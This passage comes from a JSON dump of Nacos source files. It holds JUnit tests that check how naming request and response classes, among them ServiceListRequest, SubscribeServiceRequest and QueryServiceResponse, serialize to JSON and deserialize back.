request.setGroupName(GROUP);\n        request.setNamespace(NAMESPACE);\n        String json = mapper.writeValueAsString(request);\n        checkSerializeBasedInfo(json);\n        assertTrue(json.contains(\"\\\"serviceInfo\\\":{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"serviceInfo\\\":{\\\"name\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\\\"cacheMillis\\\":1000,\\\"hosts\\\":[],\"\n                + \"\\\"lastRefTime\\\":0,\\\"checksum\\\":\\\"\\\",\\\"allIPs\\\":false,\\\"reachProtectionThreshold\\\":false,\"\n                + \"\\\"valid\\\":true},\\\"module\\\":\\\"naming\\\"}\";\n        NotifySubscriberRequest actual = mapper.readValue(json, NotifySubscriberRequest.class);\n        checkRequestBasedInfo(actual);\n        assertEquals(GROUP + \"@@\" + SERVICE, actual.getServiceInfo().getKey());\n    }\n    \n    private void checkRequestBasedInfo(NotifySubscriberRequest request) {\n        assertEquals(SERVICE, request.getServiceName());\n        assertEquals(GROUP, request.getGroupName());\n        assertEquals(NAMESPACE, request.getNamespace());\n        assertEquals(NAMING_MODULE, request.getModule());\n    }\n    \n    private void checkSerializeBasedInfo(String json) {\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"\" + SERVICE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"\" + GROUP + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"namespace\\\":\\\"\" + NAMESPACE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + NAMING_MODULE + \"\\\"\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/PersistentInstanceRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PersistentInstanceRequestTest extends BasedNamingRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        PersistentInstanceRequest request = new PersistentInstanceRequest(NAMESPACE, SERVICE, GROUP,\n                NamingRemoteConstants.REGISTER_INSTANCE, new Instance());\n        String json = mapper.writeValueAsString(request);\n        checkSerializeBasedInfo(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + NamingRemoteConstants.REGISTER_INSTANCE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"instance\\\":{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"type\\\":\\\"deregisterInstance\\\",\\\"instance\\\":{\\\"port\\\":0,\\\"weight\\\":1.0,\\\"healthy\\\":true,\"\n                + \"\\\"enabled\\\":true,\\\"ephemeral\\\":true,\\\"metadata\\\":{},\\\"instanceIdGenerator\\\":\\\"simple\\\",\"\n                + \"\\\"instanceHeartBeatInterval\\\":5000,\\\"instanceHeartBeatTimeOut\\\":15000,\\\"ipDeleteTimeout\\\":30000},\"\n                + \"\\\"module\\\":\\\"naming\\\"}\";\n        PersistentInstanceRequest actual = mapper.readValue(json, PersistentInstanceRequest.class);\n        checkNamingRequestBasedInfo(actual);\n        assertEquals(NamingRemoteConstants.DE_REGISTER_INSTANCE, actual.getType());\n        assertEquals(new Instance(), actual.getInstance());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/ServiceListRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static com.alibaba.nacos.api.common.Constants.Naming.NAMING_MODULE;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServiceListRequestTest extends BasedNamingRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ServiceListRequest request = new ServiceListRequest(NAMESPACE, GROUP, 1, 10);\n        request.setSelector(\"label\");\n        String json = mapper.writeValueAsString(request);\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"\" + GROUP + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"namespace\\\":\\\"\" + NAMESPACE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + NAMING_MODULE + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"selector\\\":\\\"label\\\"\"));\n        assertTrue(json.contains(\"\\\"pageNo\\\":1\"));\n        assertTrue(json.contains(\"\\\"pageSize\\\":10\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"pageNo\\\":1,\\\"pageSize\\\":10,\\\"selector\\\":\\\"label\\\",\\\"module\\\":\\\"naming\\\"}\";\n        ServiceListRequest actual = mapper.readValue(json, ServiceListRequest.class);\n        assertEquals(GROUP, actual.getGroupName());\n        assertEquals(NAMESPACE, actual.getNamespace());\n        assertEquals(NAMING_MODULE, actual.getModule());\n        assertEquals(1, actual.getPageNo());\n        assertEquals(10, actual.getPageSize());\n        assertEquals(\"label\", actual.getSelector());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/ServiceQueryRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServiceQueryRequestTest extends BasedNamingRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        ServiceQueryRequest request = new ServiceQueryRequest(NAMESPACE, SERVICE, GROUP);\n        request.setCluster(Constants.DEFAULT_CLUSTER_NAME);\n        String json = mapper.writeValueAsString(request);\n        checkSerializeBasedInfo(json);\n        assertTrue(json.contains(\"\\\"cluster\\\":\\\"\" + Constants.DEFAULT_CLUSTER_NAME + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"healthyOnly\\\":false\"));\n        assertTrue(json.contains(\"\\\"udpPort\\\":0\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"cluster\\\":\\\"DEFAULT\\\",\\\"healthyOnly\\\":true,\\\"udpPort\\\":0,\\\"module\\\":\\\"naming\\\"}\";\n        ServiceQueryRequest actual = mapper.readValue(json, ServiceQueryRequest.class);\n        checkNamingRequestBasedInfo(actual);\n        assertEquals(Constants.DEFAULT_CLUSTER_NAME, actual.getCluster());\n        assertTrue(actual.isHealthyOnly());\n        assertEquals(0, actual.getUdpPort());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/request/SubscribeServiceRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.request;\n\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SubscribeServiceRequestTest extends BasedNamingRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        SubscribeServiceRequest request = new SubscribeServiceRequest(NAMESPACE, GROUP, SERVICE, \"\", true);\n        String json = mapper.writeValueAsString(request);\n        checkSerializeBasedInfo(json);\n        assertTrue(json.contains(\"\\\"clusters\\\":\\\"\\\"\"));\n        assertTrue(json.contains(\"\\\"subscribe\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{},\\\"namespace\\\":\\\"namespace\\\",\\\"serviceName\\\":\\\"service\\\",\\\"groupName\\\":\\\"group\\\",\"\n                + \"\\\"subscribe\\\":false,\\\"clusters\\\":\\\"aa,bb\\\",\\\"module\\\":\\\"naming\\\"}\";\n        SubscribeServiceRequest actual = mapper.readValue(json, SubscribeServiceRequest.class);\n        checkNamingRequestBasedInfo(actual);\n        assertEquals(\"aa,bb\", actual.getClusters());\n        assertFalse(actual.isSubscribe());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/BatchInstanceResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass BatchInstanceResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        BatchInstanceResponse response = new BatchInstanceResponse(NamingRemoteConstants.REGISTER_INSTANCE);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + NamingRemoteConstants.REGISTER_INSTANCE + \"\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"type\\\":\\\"registerInstance\\\",\\\"success\\\":true}\";\n        BatchInstanceResponse response = mapper.readValue(json, BatchInstanceResponse.class);\n        assertEquals(NamingRemoteConstants.REGISTER_INSTANCE, response.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/InstanceResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.naming.remote.NamingRemoteConstants;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass InstanceResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        InstanceResponse response = new InstanceResponse(NamingRemoteConstants.REGISTER_INSTANCE);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + NamingRemoteConstants.REGISTER_INSTANCE + \"\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"type\\\":\\\"deregisterInstance\\\",\\\"success\\\":true}\";\n        InstanceResponse response = mapper.readValue(json, InstanceResponse.class);\n        assertEquals(NamingRemoteConstants.DE_REGISTER_INSTANCE, response.getType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/NamingFuzzyWatchChangeNotifyResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingFuzzyWatchChangeNotifyResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        NamingFuzzyWatchChangeNotifyResponse response = new NamingFuzzyWatchChangeNotifyResponse();\n        response.setResultCode(200);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"success\\\":true}\";\n        NamingFuzzyWatchChangeNotifyResponse response = mapper.readValue(json, NamingFuzzyWatchChangeNotifyResponse.class);\n        assertTrue(response.isSuccess());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/NamingFuzzyWatchResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingFuzzyWatchResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerializeSuccessResponse() throws JsonProcessingException {\n        NamingFuzzyWatchResponse response = NamingFuzzyWatchResponse.buildSuccessResponse();\n        response.setResultCode(200);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeFailResponse() throws JsonProcessingException {\n        NamingFuzzyWatchResponse response = NamingFuzzyWatchResponse.buildFailResponse(\"test\");\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"success\\\":true}\";\n        NamingFuzzyWatchResponse response = mapper.readValue(json, NamingFuzzyWatchResponse.class);\n        assertTrue(response.isSuccess());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/NamingFuzzyWatchSyncResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamingFuzzyWatchSyncResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerializeSuccessResponse() throws JsonProcessingException {\n        NamingFuzzyWatchSyncResponse response = NamingFuzzyWatchSyncResponse.buildSuccessResponse();\n        response.setResultCode(200);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeFailResponse() throws JsonProcessingException {\n        NamingFuzzyWatchSyncResponse response = NamingFuzzyWatchSyncResponse.buildFailResponse(\"test\");\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"success\\\":true}\";\n        NamingFuzzyWatchSyncResponse response = mapper.readValue(json, NamingFuzzyWatchSyncResponse.class);\n        assertTrue(response.isSuccess());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/NotifySubscriberResponseTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NotifySubscriberResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        NotifySubscriberResponse response = new NotifySubscriberResponse();\n        response.setResultCode(200);\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"success\\\":true}\";\n        NotifySubscriberResponse response = mapper.readValue(json, NotifySubscriberResponse.class);\n        assertTrue(response.isSuccess());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/QueryServiceResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass QueryServiceResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerializeSuccessResponse() throws JsonProcessingException {\n        QueryServiceResponse response = QueryServiceResponse.buildSuccessResponse(new ServiceInfo());\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"serviceInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeFailResponse() throws JsonProcessingException {\n        QueryServiceResponse response = QueryServiceResponse.buildFailResponse(\"test\");\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"message\\\":\\\"test\\\"\"));\n        assertTrue(json.contains(\"\\\"success\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"resultCode\\\":200,\\\"errorCode\\\":0,\\\"serviceInfo\\\":{\\\"cacheMillis\\\":1000,\\\"hosts\\\":[],\"\n                + \"\\\"lastRefTime\\\":0,\\\"checksum\\\":\\\"\\\",\\\"allIPs\\\":false,\\\"reachProtectionThreshold\\\":false,\"\n                + \"\\\"valid\\\":true},\\\"success\\\":true}\";\n        QueryServiceResponse response = mapper.readValue(json, QueryServiceResponse.class);\n        assertNotNull(response.getServiceInfo());\n    }\n    \n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/naming/remote/response/ServiceListResponseTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.naming.remote.response;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ServiceListResponseTest {\n    \n    protected static ObjectMapper mapper;\n    \n    @BeforeAll\n    static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n    \n    @Test\n    void testSerializeSuccessResponse() throws JsonProcessingException {\n        ServiceListResponse response = ServiceListResponse.buildSuccessResponse(10, Collections.singletonList(\"a\"));\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"count\\\":10\"));\n        assertTrue(json.contains(\"\\\"serviceNames\\\":[\\\"a\\\"]\"));\n        assertTrue(json.contains(\"\\\"resultCode\\\":200\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":0\"));\n        assertTrue(json.contains(\"\\\"success\\\":true\"));\n    }\n    \n    @Test\n    void testSerializeFailResponse() throws JsonProcessingException {\n        ServiceListResponse response = ServiceListResponse.buildFailResponse(\"test\");\n        String json = mapper.writeValueAsString(response);\n        assertTrue(json.contains(\"\\\"resultCode\\\":500\"));\n        assertTrue(json.contains(\"\\\"errorCode\\\":500\"));\n        